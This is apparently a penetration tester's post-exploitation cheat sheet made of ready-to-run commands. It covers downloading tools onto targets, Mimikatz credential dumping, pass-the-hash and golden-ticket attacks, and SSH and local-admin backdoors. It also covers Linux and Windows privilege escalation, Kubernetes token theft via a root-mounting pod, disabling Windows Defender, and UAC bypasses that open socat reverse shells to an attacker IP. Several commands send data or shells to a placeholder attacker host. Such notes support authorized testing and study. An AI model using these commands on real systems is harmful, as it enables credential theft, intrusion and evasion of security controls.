bitsadmin.exe /transfer /Download /priority Foreground http://<ATTACKER>/<FILE> C:\Users\public\<FILE>

# JavaScript wget.js
# https://superuser.com/a/536400
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));
# Execute like so:
cscript.exe /nologo wget.js <URL> <OUTPUT_FILE>

# VBScript wget.vbs
# https://stackoverflow.com/a/2973344
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", WScript.Arguments.Item(0), False
xHttp.Send
with bStrm
    .type = 1
    .open
    .write xHttp.responseBody
    .savetofile WScript.Arguments.Item(1), 2
end with
# Execute like so:
cscript.exe /nologo wget.vbs <URL> <OUTPUT_FILE>

### === SMB ===
# https://github.com/fortra/impacket/blob/master/examples/smbserver.py
impacket-smbserver -smb2support -username <USERNAME> -password <PASSWORD> <SHARE_NAME> <SHARE_PATH>

# WITHOUT password
copy \\<ATTACKER_IP\<SHARE_NAME>\<FILE>
# WITH password
net use <DRIVE_LETTER> \\<ATTACKER_IP\<SHARE_NAME>\ /user:<USER> <PASSWORD>
copy <DRIVE_LETTER>\<FILE>
# https://lolbas-project.github.io/lolbas/Binaries/Findstr/#download
findstr /V thisstringdoesnotexist \\<ATTACKER>\<SHARE>\<FILE> > C:\Users\<USER>\AppData\Local\Temp\<FILE>

### === FTP ===
sudo pip3 install --break-system-packages pyftpdlib

sudo python3 -m pyftpdlib --port <SERVER_PORT>

# Download (FILE)
(New-Object Net.WebClient).DownloadFile('<DOWNLOAD_URL>','<OUTPUT_FILE>')

# Download (NON-INTERACTIVELY)
echo open <ATTACKER_IP> > ftpconfig.txt
echo USER anonymous >> ftpconfig.txt
echo binary >> ftpconfig.txt
echo GET <FILE> >> ftpconfig.txt
echo bye >> ftpconfig.txt

ftp -v -n -s:ftpconfig.txt

### === WinRM ===
# TCP/5985 or 5986
# Windows Remote Management service
# user in "Administrators" or "Remote Management Users"

$Session = New-PSSession -ComputerName <TARGET>
Copy-Item -FromSession $Session -Path <DOWNLOAD_FILE> -Destination <OUTPUT_FILE>

### === COPY&PASTA ===

# ENCODE: Windows
$f="<FILE>" ; [Convert]::ToBase64String((Get-Content -path $f -Encoding byte)) ; Get-FileHash $f -Algorithm MD5 | select Hash
# https://lolbas-project.github.io/lolbas/Binaries/Certutil/#encode
certutil -encode <FILE> <ENCODED_FILE>

# DECODE: Linux
echo "<BASE64>" | base64 -d > <DECODED_FILE>.decode ; md5sum *.decode

Mimikatz

See more about… Mimikatz

Source: Docs > 9 - Notes > mimikatz

Mimikatz is a post-exploitation tool that can extract plaintext passwords, hashes, PINs, and Kerberos tickets from memory. It can also perform pass-the-hash, pass-the-ticket, and build Golden Tickets.

TL;DR Credential Dumping Checklist

privilege::debug
token::elevate
sekurlsa::logonpasswords
sekurlsa::wdigest
sekurlsa::ekeys
lsadump::sam
lsadump::secrets
lsadump::cache
lsadump::lsa /patch

Important Notes

  • Debug Privilege: Most Mimikatz operations require privilege::debug to access LSASS memory
  • Administrator Required: Mimikatz typically needs administrator privileges to function
  • LSASS Access: Many operations read from LSASS memory, which is protected by Windows
  • Detection: Mimikatz is heavily flagged by security products and EDR solutions
  • Pass the Hash: When using sekurlsa::pth, a new window will open - run commands in that new window
  • Golden Tickets: Golden Tickets are valid until the KRBTGT account password is changed (typically 180 days by default)
  • Ticket Files: Exported Kerberos tickets use .kirbi format
  • Domain Syntax: Use “.” for domain when targeting local machine accounts

Basic Usage & Privilege Escalation

# Launch Mimikatz (via SMB share)
\\tsclient\share\mimikatz.exe

# Enable debug privilege (required for most operations)
privilege::debug

# Elevate token to SYSTEM
token::elevate

# Write to console in bae64 (avoid AV flagging)
base64 /out:true

# Write output to a logfile (flagged by AV!)
log <LOGFILE>.txt 

Credential Dumping

LSASS Memory (sekurlsa)

Dump All Credentials:

# VERBOSE: Dumps credentials from all providers (Kerberos, WDigest, MSV, etc.)
sekurlsa::logonpasswords

Dump WDigest Plaintext Credentials:

# Plaintext creds if WDigest is enabled (older systems or manually enabled)
sekurlsa::wdigest

Dump Specific Hash Types:

# Dumps only LM/NTLM hashes
sekurlsa::msv

Export Kerberos Tickets:

# Avoid AV flagging
base64 /out:true

# Export Kerberos Tickets (TGT/TGS) to disk
sekurlsa::tickets /export
# $ : machine tickets (computers)
# @ : service tickets (users)

Extract AES Keys:

# Extract AES Keys for Pass the Key attacks
sekurlsa::ekeys

SAM Database

# Dumps local SAM database (local user hashes)
lsadump::sam

LSA Secrets

# Patches LSASS to dump LSA policy data/hashes
lsadump::lsa /patch
# Dumps LSA secrets from registry (autologon, service account passwords, etc.)
lsadump::secrets
# Dumps cached domain logon hashes (DCC2)
lsadump::cache

Dump Specific Account:

# Dump specific account (e.g., KRBTGT for Golden Ticket)
lsadump::lsa /inject /name:krbtgt

DCSync

Might require runas.

# Specific user
lsadump::dcsync /domain:<DOMAIN> /user:<DOMAIN>\<USER>

# For KRBTGT
lsadump::dcsync /domain:<DOMAIN> /user:<DOMAIN>\krbtgt

# All users
# WARNING: takes a long time... write output to a file!
log dc_sync.txt
lsadump::dcsync /domain:<DOMAIN> /all

Pass the Hash (PtH)

Pass the Hash allows you to authenticate using an NTLM hash instead of a plaintext password.

# Use "." for domain if targeting local machine
# IMPORTANT: Run commands inside the NEW window that pops up
sekurlsa::pth /user:<USER> /ntlm:<PASS_HASH> /domain:<DOMAIN> /run:cmd.exe

Alternative Syntax:

sekurlsa::pth /domain:<DOMAIN> /user:<USER> /ntlm:<HASH> /run:cmd.exe

Pass the Key (PtK) / OverPass the Hash (OtH)

Concept: Request a Kerberos Ticket (TGT) using an NTLM hash or AES Key, rather than using the NTLM protocol directly.

Extract AES Keys First:

sekurlsa::ekeys

Pass the Key with AES:

# Spawns a process. Windows will implicitly request TGT using the injected key/hash when network resources are accessed.
# Can use /ntlm, /aes128, or /aes256
sekurlsa::pth /domain:<DOMAIN> /user:<USER> /aes256:<AES256_KEY> /run:cmd.exe

Pass the Ticket (PtT)

Pass the Ticket allows you to use stolen Kerberos tickets to authenticate as another user.

Export Tickets:

# Export tickets from memory to .kirbi files
sekurlsa::tickets /export

Inject Ticket:

# Inject ticket into current session
kerberos::ptt <TICKET_FILE.kirbi>
misc::cmd
exit

Golden & Silver Ticket Attack

A Golden Ticket is a forged Kerberos TGT that allows you to impersonate any user in the domain, including domain administrators.

A Silver Ticket is a forged Kerberos TGS that allows you to impersonate any user on a single machine.

Step 1: Get KRBTGT Hash & SID

Method A (On DC):

lsadump::lsa /inject /name:krbtgt

Method B (Remote DCSync):

lsadump::dcsync /domain:<DOMAIN> /user:krbtgt

Step 2: Create & Inject Ticket

  • /ptt - This flag tells Mimikatz to inject the ticket directly into the session, meaning it is ready to be used.
  • /endin - The ticket lifetime. By default, Mimikatz generates a ticket that is valid for 10 years. The default Kerberos policy of AD is 10 hours (600 minutes)
  • /renewmax - The maximum ticket lifetime with renewal. By default, Mimikatz generates a ticket that is valid for 10 years. The default Kerberos policy of AD is 7 days (10080 minutes)
  • /user: can use any value including non-existent users
# GOLDEN TICKET
kerberos::golden /ptt /id:500 /user:Administrator /domain:<DOMAIN> /sid:<SID> /krbtgt:<NTLM>

# SILVER TICKET
kerberos::golden /ptt /id:500 /user:Administrator /domain:<DOMAIN> /sid:<SID> /service:cifs /target:<MACHINE_FQDN> /rc4:<MACHINE_HASH> 

Step 3: Launch Shell

# OPTIONAL: Launch shell or exit and use the current shell since /ptt was used
misc::cmd  # this only works via RDP
exit

# Verify ticket is working by reading DC share
dir \\<DC_FQDN>\c$\

Credential Manager

Dump credentials stored in Windows Credential Manager:

sekurlsa::credman

DPAPI (Data Protection API)

Decrypt data protected by Windows DPAPI, such as browser credentials:

dpapi::chrome /in:"C:\Users\<USER>\AppData\Local\Google\Chrome\User Data\Default\Login Data" /unprotect

Nice Commands

These will be a grab-bag of command workarounds usually for restricted systems that lack certain functionality.

Linux

# Pull out IP addresses (IPv4, IPv6, MAC) from text file
grep -hoE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b|\b([0-9a-fA-F]{1,4}:){3,}[0-9a-fA-F]{1,4}\b|\b[0-9a-fA-F]{0,4}::[0-9a-fA-F]{0,4}\b" * | sort -u

# Unzip w/ Python3
python3 -c 'import zipfile, sys; zip_ref = zipfile.ZipFile(sys.argv[1], "r"); zip_ref.extractall("."); zip_ref.close()' <ZIPFILE>

# Unzip w/ Perl
perl -e 'use Archive::Zip; my $zip = Archive::Zip->new(shift); $zip->extractTree();' <ZIPFILE>

# strings replacement
f="<FILE>" ; cat $f | tr -c '[:print:]\t\n' '[\n*]' | awk 'length > 3' | less

# string replacement
f="<FILE>" ; sed 's/[^[:print:]]/\n/g' $f | awk 'length > 3' | less

---

# Map drive
sudo apt install -y cifs-utils
sudo mkdir /mnt/<SHARE>
sudo mount -t cifs -o username=<USERNAME>,password=<PASSWORD>,domain=. //<TARGET>/<SHARE> /mnt/<SHARE>
sudo mount -t cifs -o credentials=credentialfile //<TARGET>/<SHARE> /mnt/<SHARE>
# credentialfile
username=<USERNAME>
password=<PASSWORD>
domain=.

# Search filenames
find <PATH> -name *<KEYWORD>*

# Search keyword in files
grep -rn <PATH> -ie <KEYWORD>

Convert old SSH Key format RSA->OPENSSH

for key in *id_rsa; do ssh-keygen -p -f "$key" -N "" -o ; done

Windows

# Get PS Version
$PSversiontable

---

# Processes or Task List
tasklist /V | findstr <KEYWORD>

# Current User Info
whoami;hostname
whoami /priv          # Show current user's privileges
whoami /groups        # Show current user's group memberships

# List Users & Groups
net user              # List all local users
net localgroup        # List all local groups
net localgroup | findstr admin
net localgroup "<GROUP>"
net localgroup administrators  # List members of the Administrators group

# Password & Account Policy
net accounts          # (Local policy)
net accounts /domain  # (Domain policy)

# Shares
net share             # Shares by current computer
net use               # External connected shares
Get-SmbMapping        # Same but in PowerShell
Get-PSDrive -PSProvider FileSystem

# Map drive
net use <DRIVE>: \\<TARGET>\<SHARE>
net use <DRIVE>: \\<TARGET>\<SHARE> /user:<USER> <PASSWORD>

# Map drive
New-PSDrive -PSProvider "FileSystem" -Name "<DRIVE>" -Root "\\<TARGET>\<SHARE>"
$secpassword = ConvertTo-SecureString -AsPlainText -Force '<PASSWORD>'
$cred = New-Object System.Management.Automation.PSCredential '<USERNAME>', $secpassword
New-PSDrive -PSProvider "FileSystem" -Credential $cred -Name "<DRIVE>" -Root "\\<TARGET>\<SHARE>"

# Search filenames
dir /s /b <DRIVE>:\*<KEYWORD>*
Get-ChildItem -Recurse -File -Path <DRIVE>:\ -Include *<KEYWORD>*

# Search keyword in files
findstr /s /i <KEYWORD> <DRIVE>:\*.*
Get-ChildItem -Recurse -Path <DRIVE>:\ | Select-String -Pattern "<KEYWORD>"

Change User Password

via rpcclient with ForceChangePassword perm

This will only work without the user’s old password if the authenticating user has the ForceChangePassword permission at the domain level (or obviously if the user is a Domain Administrator):

rpcclient -U '<DOMAIN/<USER>%<PASSWORD>' <DC_IP> -c "setuserinfo2 <USER_TO_CHANGE> 23 '<NEW_PASSWORD>'"

via PowerView

Import PowerView:

wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1

Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process
Import-Module .\PowerView.ps1

If needed, authenticated as privileged user first:

$SecPassword = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('<DOMAIN>\<USER>', $SecPassword)

Then, create and set NEW password of other account:

$newPassword = ConvertTo-SecureString '<NEW_PASSWORD>' -AsPlainText -Force

Set-DomainUserPassword -Identity <USER> -AccountPassword $newPassword -Credential $Cred -Verbose

And alternatively add more permissions to that user:

# Get Group SID
# $group = (Get-DomainGroup "<GROUP>" -Server <DC_IP> -Credential $Cred).objectsid

# Add User to Group
Add-DomainGroupMember -Identity "<GROUP>" -Members '<USER>' -Domain <DOMAIN> -Credential $Cred -Verbose

# Remove User from Group
Remove-DomainGroupMember -Identity "<GROUP>" -Members '<USER>' -Domain <DOMAIN> -Credential $Cred -Verbose

# Verify Group Membership or Removal
Get-DomainGroupMember -Identity "<GROUP>" -Server <DC_IP> -Credential $Cred | Select MemberName

Pass the Hash (PtH)

Preparation (Local Accounts)

# Enable Registry Key to PtH for non-RID-500 local admins
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

Mimikatz (Interactive)

# Use "." for domain if targeting local machine
# IMPORTANT: Run commands inside the NEW window that pops up
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:<USER> /ntlm:<PASS_HASH> /domain:<DOMAIN> /run:cmd.exe" exit

Invoke-TheHash (PowerShell)

Import-Module .\Invoke-TheHash.psd1

# SMB w/ add Admin user payload
Invoke-SMBExec -Target <TARGET> -Domain <DOMAIN> -Username <USER> -Hash <PASS_HASH> -Command "net user <NEW_USER> <NEW_PASS> /add && net localgroup administrators <NEW_USER> /add" -Verbose

# WMI w/ PowerShell reverse shell payload
Invoke-WMIExec -Target <TARGET> -Domain <DOMAIN> -Username <USER> -Hash <PASS_HASH> -Command "<REV_SHELL_POWERSHELL_PAYLOAD>"

Impacket (Python)

psexec creates a remote service by uploading a randomly-named executable to the ADMIN$ share on the target host. It then registers the service via RPC and the Windows Service Control Manager. Once established, communication happens over a named pipe, providing an interactive remote shell as SYSTEM on the victim host.

wmiexec utilizes a semi-interactive shell where commands are executed through Windows Management Instrumentation. It does not drop any files or executables on the target host and generates fewer logs than other modules. After connecting, it runs as the local admin user we connected with (this can be less obvious to someone hunting for an intrusion than seeing SYSTEM executing many commands). Note that this shell environment is not fully interactive, so each command issued will execute a new cmd.exe from WMI and execute your command. The downside of this is that if a vigilant defender checks event logs and looks at event ID 4688: A new process has been created.

# NOTE: Use forward slash for domain syntax to avoid shell escaping
# :<PASS_HASH> implies empty LM hash (LM:NT)

impacket-psexec <DOMAIN>/<USER>@<TARGET> -hashes :<PASS_HASH>
impacket-wmiexec <DOMAIN>/<USER>@<TARGET> -hashes :<PASS_HASH>
impacket-atexec <DOMAIN>/<USER>@<TARGET> -hashes :<PASS_HASH>
impacket-smbexec <DOMAIN>/<USER>@<TARGET> -hashes :<PASS_HASH>

NetExec (Enumeration/Spraying)

# Target can also be a subnet (CIDR)
# -d . = Local Account | -d <DOMAIN> = Domain Account
# --local-auth forces local check if implied domain fails
netexec smb <TARGET> -u <USER> -d . -H <PASS_HASH> --local-auth

Evil-WinRM (WinRM Shell)

# Most reliable shell if ports 5985/5986 are open
evil-winrm -i <TARGET> -u <USER> -H <PASS_HASH>

RDP (Restricted Admin Mode)

#Enable Restricted Admin on Target (Requires Admin rights)
reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f

# Now RDP with Hash
xfreerdp3 /v:<TARGET> /u:<USER> /pth:<PASS_HASH> /cert:ignore +clipboard /dynamic-resolution /drive:/usr/share/windows-resources/mimikatz/x64,share

Persistence

via SSH

# ATTACKER
ssh-keygen -f ./target_backdoor_key -N "" -C "service@localhost" && echo "\n\necho '$(cat ./target_backdoor_key.pub)' >> ~/.ssh/authorized_keys\n\n"

# TARGET: !!! RUN COMMAND OUTPUT ABOVE !!!

# ATTACKER
ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i ./target_backdoor_key <USER>@<TARGET>

via Windows local user (SYSTEM)

# Create local user and add to local Administrators group
net user svc_backup P@ssw0rd123! /add
net localgroup Administrators svc_backup /add
net user svc_backup

Privilege Escalation (PrivEsc)

NOTE: scripts are noisy for any sort of monitoring software, so manual checks may be preferred

Key Details

Versions of:

  • OS
  • Kernel
  • Services
  • Installed packages
  • Logged-in users
  • User Directories
  • Command/Shell History
  • Configuration Files
  • Scheduled Jobs
  • Extra File Systems/Drives
  • File Permissions
  • Writeable Files and Directories

🐧 Linux

linPEAS

# === ATTACKER ===

wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
ip a ; python3 -m http.server 8000

# === TARGET ===

cd /tmp
wget http://<ATTACKER_IP>:8000/linpeas.sh && chmod +x linpeas.sh
REGEXES="0" ./linpeas.sh 2>&1 | tee linpeas_output.txt

# === ATTACKER ===

scp <USER>@<TARGET>:/tmp/linpeas_output.txt ~/
# NC
nc -l -p <PORT> > ~/linpeas_output.txt
cat /tmp/linpeas_output.txt | nc <ATTACKER_IP> <PORT>
# wait a moment, then CTRL+C

Manual Survey

whoami ; id ; hostname ; ip a || ifconfig -a
uname -a ; cat /etc/*release*

arp -an
ip r || netstat -rn
netstat -tun
# For domains
cat /etc/resolv.conf /etc/hosts

netstat -tuanlp || ss -tuanlp

# Check non-standard paths or variables
echo $PATH
env

cat /etc/shells

lsblk
cat /etc/fstab
df -h
# Unmounted filesystems
cat /etc/fstab | grep -v "#" | column -t

# Debian-based systems
dpkg -l

ps -ef
pstree
# Interesting commands
for p in /proc/[0-9]*; do cmd=$(tr '\0' ' ' < "$p/cmdline" 2>/dev/null); [ -n "$cmd" ] && echo "[PID: ${p##*/}] $cmd"; done

# Users only
cat /etc/passwd | cut -f1 -d:
# Users with shell access
cat /etc/passwd | grep sh
# Groups
cat /etc/group
# Active or recent users
w ; lastlog

===
# LOOKING FOR PRIV ESCs
===

# GTFObins Priv Esc check
apt list --installed | tr "/" " " | cut -d" " -f1,3 | sed 's/[0-9]://g' | tee -a installed_pkgs.list
for i in $(curl -s https://gtfobins.org/api.json | jq -r '.executables | keys[]'); do if grep -q "$i" installed_pkgs.list; then echo "Check for GTFO: $i";fi; done

ls -la /etc/crontab /var/spool/cron/crontabs/root /etc/cron.*

ls -la / /home/ /home/*/.ssh/ /root/.ssh/

# Conf files
find / \( -path "/proc" -o -path "/usr" -o -path "/lib" \) -prune -o \( -iname "*.conf" -o -iname "*.config" \) -exec ls -la {} + 2>/dev/null
# Search for all files that contain keyword in name
find / \( -path "/proc" -o -path "/usr" -o -path "/lib" \) -prune -o -type f -iname "<KEYWORD>" -exec ls -la {} + 2>/dev/null
# Creds Search
grep -Hran --color=always --exclude-dir={bin,boot,dev,lib,lib64,proc,sys,sbin,snap,sys,run,usr} 'user\|passw' / 2>/dev/null | less -R

# History
history
find / -type f \( -name '*_hist' -o -name '*_history' \) -exec ls -l {} \; 2>/dev/null

# Search for interesting scripts
find / -type f -name '*.sh' 2>/dev/null | grep -v "src\|snap\|share"
find / -name '*.sh' 2>/dev/null

# Hidden folders and files
# NOTE: usually best to grep for a user or something to reduce results
find / -type d -name ".*" -ls 2>/dev/null
find / -type f -name ".*" -exec ls -l {} \; 2>/dev/null | grep WORD

# Temp folders
ls -la /tmp /var/tmp /dev/shm

# Writeable Files
find / \( -path /proc -o -path /sys -o -path /var \) -prune -o -type f -perm -o+w 2>/dev/null
# Writeable directories
find / \( -path /proc -o -path /sys -o -path /var \) -prune -o -type d -perm -o+w 2>/dev/null
# SETUID Files (user executes program as owner user)
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
# SETGID Files (user groups executes program as owner group)
find / -user root -perm -2000 -exec ls -ldb {} \; 2>/dev/null
# World-writeable files
find / -type f -perm -00002 -ls 2>/dev/null

# Users with shells
grep "sh$" /etc/passwd

cat /etc/group
# Users in "sudo" group
getent group sudo

# Rarely hashes in passwd or readable shadow
cat /etc/passwd /etc/shadow

# Summarized reports of logs
aureport --tty | less

# CTF Special
sudo -V  # Check version exploits
sudo -l  # Look for NOPASSWD
File Permissions

Standard Permission Bits

PermissionOctalSymbolMeaning on FileMeaning on Directory
Read4rCan read file contents (cat).Can list contents (ls).
Write2wCan modify file contents.Can add/delete files inside.
Execute1xCan run the file as a process.Can enter the directory (cd).

Special Permission Bits

Special BitOctalSymbolLocationOffensive Value (PrivEsc / Persistence)
SUID (Set-User-ID)4000s / SOwner (-rwS------)High: Process runs with the privileges of the file Owner (usually root), regardless of who launched it.
SGID (Set-Group-ID)2000s / SGroup (----rws---)Medium: Process runs with privileges of the file Group. Used for lateral movement (e.g., accessing adm or shadow group files).
Sticky Bit1000t / TOther (-------rwt)None: Prevents users from deleting other users’ files in shared directories (like /tmp).

NOTE:

The Lowercase s vs. Uppercase S

  • Lowercase s (Active): The SUID bit is set AND the underlying execute (x) bit is set. The file will execute properly.
  • Uppercase S (Broken): The SUID bit is set, BUT the underlying execute (x) bit is missing. The file cannot be executed. The admin made a mistake.

The Linux Kernel natively ignores SUID/SGID bits on interpreted scripts (.sh, .py, .pl).

  • If you find -rwsr-xr-x root root backup.sh, running ./backup.sh will execute as YOUR user, not root.
  • The Exception: SUID only works automatically on Compiled ELF Binaries (C, C++, Go, Rust).

Groups

Certain groups for a user’s id output could give greater access:

  • disk: can mount any disk with debugfs to read the file system
  • adm: reads logs in /var/log/
  • docker: priv esc
  • lxd/lxc: can mount filesystems in LXC containers
  • shadow: allows read access of password hashes
  • staff: grants perms to /usr/local/bin/ and /usr/local/sbin/
  • wireshark/pcap: capture network traffic (creds sniffing)
  • video: can screenshot user’s desktop
  • wheel: Red Hat/CentOS equivalent to sudo

Capabilities

The following especially can lead to root:

CapabilityDescription
cap_setuidAllows a process to set its effective user ID, which can be used to gain the privileges of another user, including the root user.
cap_setgidAllows to set its effective group ID, which can be used to gain the privileges of another group, including the root group.
cap_sys_adminThis capability provides a broad range of administrative privileges, including the ability to perform many actions reserved for the root user, such as modifying system settings and mounting and unmounting file systems.
cap_dac_overrideAllows bypassing of file read, write, and execute permission checks.
# Easy wins
find /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin -type f -exec getcap {} \;

# Exhaustive
getcap -r / 2>/dev/null

Mitigation

A straightforward tool to assess the security posture of UNIX devices is:

Kubernetes

Control Plane

The Control Plane serves as the management layer. It consists of several crucial components, including:

ServiceTCP Ports
etcd2379, 2380
API server6443
Scheduler10251
Controller Manager10252
Kubelet API10250
Read-Only Kubelet API10255
# Check for API server
curl -k https://<TARGET>:6443

# Pods list
curl -k https://<TARGET>:6443/pods | jq .

# Native pods enumeration
kubeletctl -i --server <TARGET> pods

# Scan for known RCEs against nodes
kubeletctl -i --server <TARGET> scan rce

# Interact with node
kubeletctl -i --server <TARGET> exec "id" -p nginx -c nginx

# Extracting tokens
kubeletctl -i --server <TARGET> exec "cat /var/run/secrets/kubernetes.io/serviceaccount/token" -p nginx -c nginx | tee -a k8.token

# Extracting certificates
kubeletctl --server <TARGET> exec "cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt" -p nginx -c nginx | tee -a ca.crt

# List privileges
export token=$(cat k8.token)
kubectl --token=$token --certificate-authority=ca.crt --server=https://<TARGET>:6443 auth can-i --list

privesc.yaml

This mount the host’s root file system

apiVersion: v1
kind: Pod
metadata:
  name: privesc
  namespace: default
spec:
  containers:
  - name: privesc
    image: nginx:1.14.2
    volumeMounts:
    - mountPath: /root
      name: mount-root-into-mnt
  volumes:
  - name: mount-root-into-mnt
    hostPath:
       path: /
  automountServiceAccountToken: true
  hostNetwork: true
# Create new pod
kubectl --token=$token --certificate-authority=ca.crt --server=https://<TARGET>:6443 apply -f privesc.yaml

# Verify
kubectl --token=$token --certificate-authority=ca.crt --server=https://<TARGET>:6443 get pods

# Get root key
kubeletctl --server <TARGET> exec "cat /root/root/.ssh/id_rsa" -p privesc -c privesc

πŸͺŸ Windows

Check [[active-directory]] for a whole host of domain-related priv escs. Check [[security-products]] for bypasses for UAC and more. Check [[finding-creds]] for searching for credentials.

systeminfo wesng.py Analyzer

git clone https://github.com/bitsadmin/wesng.git && cd wesng
python3 wes.py ~/loot/systeminfo.txt

SharpUp

wget https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/raw/refs/heads/master/SharpUp.exe

.\SharpUp.exe audit

winPEAS

Manual Survey

# Networking info
ipconfig /all
arp -a
route print

# BEST?: Programs w/ Versions
$INSTALLED = Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* |  Select-Object DisplayName, DisplayVersion, InstallLocation
$INSTALLED += Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, InstallLocation
$INSTALLED | ?{ $_.DisplayName -ne $null } | sort-object -Property DisplayName -Unique | Format-Table -AutoSize

# Installed programs
for %f in ("C:\Program Files", "C:\Program Files (x86)") do @(echo. && echo --- Listing: %~f --- && dir "%~f" /b)

# WMI Method
wmic product get name
Get-WmiObject -Class Win32_Product |  select Name, Version

Normal processes:

# Running processes and services
tasklist /svc
netstat -ano

# Scheduled Tasks
schtasks /query /fo LIST /v

# Env Variables
set

# Detailed machine info
systeminfo
ver
[environment]::OSVersion.Version

# Alt method for Hotfixes
wmic qfe list brief
Get-HotFix | ft -AutoSize

# Query logged-in users (usually RDP)
query user

# Current user
echo %USERNAME%

# Current User Privs & Groups
whoami /all

# User accounts w/ Descriptions
Get-LocalUser
# All users, groups, admins, password policy
net user
net user %username%
net localgroup
net localgroup administrators
net accounts
gpresult /r

# Command line history
(Get-PSReadLineOption).HistorySavePath

# List Named Pipes
pipelist.exe /accepteula
Get-ChildItem \\.\pipe\
# Show Named Pipe Permissions
# NOTE: Drop the "\\."
accesschk.exe /accepteula \pipe\<NAME> -v
See more about… Windows Defender

Source: Docs > 6 - Post-Exploitation > security-products#windows-defender

Windows Defender

# Check WinDefend service
sc.exe query windefend

# Check Status
Get-MpComputerStatus

# Enable WinDefend
Set-MpPreference -DisableRealtimeMonitoring $false
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -command "Set-MpPreference -DisableRealtimeMonitoring $false"

# Disable WinDefend realtime monitoring
Set-MpPreference -DisableRealtimeMonitoring $true
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -command "Set-MpPreference -DisableRealtimeMonitoring $true"
See more about… Windows Firewall

Source: Docs > 6 - Post-Exploitation > security-products#windows-firewall

Windows Firewall

# Show state of all profiles
netsh advfirewall show allprofiles
# Add Firewall Exception
netsh advfirewall firewall add rule name=<NAME> dir=in action=allow protocol=TCP localport=<PORT>
See more about… AppLocker

Source: Docs > 6 - Post-Exploitation > security-products#applocker

AppLocker

Built-in application whitelister. Commonly cmd.exe and powershell.exe will be blocked, but PowerShell lives in multiple locations:

# Get Rules
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
See more about… User Account Control

Source: Docs > 6 - Post-Exploitation > security-products#user-account-control

User Account Control

NOTE: These works when UAC is NOT “Always Notify”

# msconfig
WIN+R > msconfig > Tools > Select "Command Prompt" > Launch

# azman.msc
Help > Help Topics > Right-Click > View Source > Show "All Files" > Search and Select "cmd.exe" > Right-Click > Open

# Fodhelper.exe w/ Socat
nc -nvlp <PORT>

set REG_KEY=HKCU\Software\Classes\ms-settings\Shell\Open\command
set CMD="powershell -windowstyle hidden C:\Tools\socat\socat.exe TCP:<ATTACKER_IP>:<PORT> EXEC:cmd.exe,pipes"
reg add %REG_KEY% /v "DelegateExecute" /d "" /f
reg add %REG_KEY% /d %CMD% /f & fodhelper.exe

whoami /groups
// success HIGH!

reg delete HKCU\Software\Classes\ms-settings\ /f
reg query %REG_KEY% /v ""

# WinDefend-Safe UAC Bypass w/ Socat
powershell.exe

$program = "powershell -windowstyle hidden C:\tools\socat\socat.exe <ATTACKER_IP>:<PORT> EXEC:cmd.exe,pipes"
New-Item "HKCU:\Software\Classes\.update\Shell\Open\command" -Force
Set-ItemProperty "HKCU:\Software\Classes\.update\Shell\Open\command" -Name "(default)" -Value $program -Force
New-Item -Path "HKCU:\Software\Classes\ms-settings\CurVer" -Force
Set-ItemProperty  "HKCU:\Software\Classes\ms-settings\CurVer" -Name "(default)" -value ".update" -Force
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden
// success!

reg delete "HKCU\Software\Classes\.update\" /f
reg delete "HKCU\Software\Classes\ms-settings\" /f

# "Always Notify"-Safe UAC Bypass (but NOT WinDefend-Safe)
nc -lvnp <PORT>
           
reg add "HKCU\Environment" /v "windir" /d "cmd.exe /c C:\tools\socat\socat.exe <ATTACKER_IP>:<PORT> EXEC:cmd.exe,pipes &REM " /f
schtasks /run  /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I
// success!

reg delete "HKCU\Environment" /v "windir" /f

# Auto-Bypass (up-to-date)
# https://github.com/hfiref0x/UACME

C:\tools\UACME-Akagi64.exe 33

Privileges vs. Access Rights

  • https://blog.palantir.com/windows-privilege-abuse-auditing-detection-and-defense-3078a403d74e

  • Privileges are tied to WHO/the user’s access token (assigned on logon, can differ local and domain), which are essentially overrides to bypass the normal rules (access rights)

    • SeTakeOwnershipPrivilege: Allows you to change the Owner of any object. Once you are the Owner, Windows automatically grants you the Access Right to rewrite the DACL (known as WRITE_DAC). You can then grant yourself GenericAll Access Rights.
    • SeImpersonatePrivilege: Allows you to copy a higher-privileged Token (e.g., NT AUTHORITY\SYSTEM via tools like SweetPotato/PrintSpoofer), instantly granting you all System Privileges and Universal Access Rights.
  • Access Rights (permissions) are tied to WHAT/the object (File, Folder, Registry Key, Service, Named Pipe) via “Security Descriptors”

  • Security Principals are the WHO/users, machines, or groups** that have their own SIDs

    • **groups cannot login but have Access Rights

When a Security Principal (e.g. user) wants to access a resource (e.g. file), the OS will perform an authorization check of the user against the resource’s Security Descriptor (e.g. access rights). The Security Descriptor might have multiple Access Control Entries, which will grant access if there is at least 1 match.

Authentication Process - Windows

Good Privileges

